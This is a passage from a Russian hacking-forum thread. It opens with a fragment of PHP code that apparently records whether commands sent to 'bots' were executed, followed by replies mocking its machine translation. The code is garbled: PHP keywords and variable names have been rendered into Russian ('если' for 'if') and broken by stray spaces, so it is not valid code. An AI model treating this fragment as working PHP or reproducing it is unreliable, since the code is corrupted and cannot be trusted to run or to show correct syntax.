$ CommDetailsBot = mCommands :: getCommandExecuted ($ COMMidt, $ длина места жительства);

$ CommDetailsBotCreate = FALSE;

если ($ commDetailsBot == FALSE) {

$ CommDetailsBot [ 'период проживания'] = $ длина места жительства;

$ CommDetailsBot [ 'commid'] = $ commid;

$ CommDetailsBot [ 'commDate'] = 0;

$ CommDetailsBot [ 'commSuccesed'] = 0;

$ CommDetailsBotCreate = TRUE;

}

// Состояние 2

если (($ commDetailsBot [ 'commSuccesed']
 
Ответить с цитированием

  #4  
Старый 06.12.2016, 20:56
t0ma5
Guest
Сообщений: n/a
Провел на форуме:
300820

Репутация: 90
По умолчанию

бля что ты творишь, остановись, хватит тонны гуглтранслита

спойлеры хотя бы, оформить, граматика и вся фигня, ну это же треш
 
Ответить с цитированием

  #5  
Старый 06.12.2016, 22:57
PoliGroS
Guest
Сообщений: n/a
Провел на форуме:
14367

Репутация: 0
По умолчанию

+ --- Хрон - регулярные скрипты PHP

-))))))
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ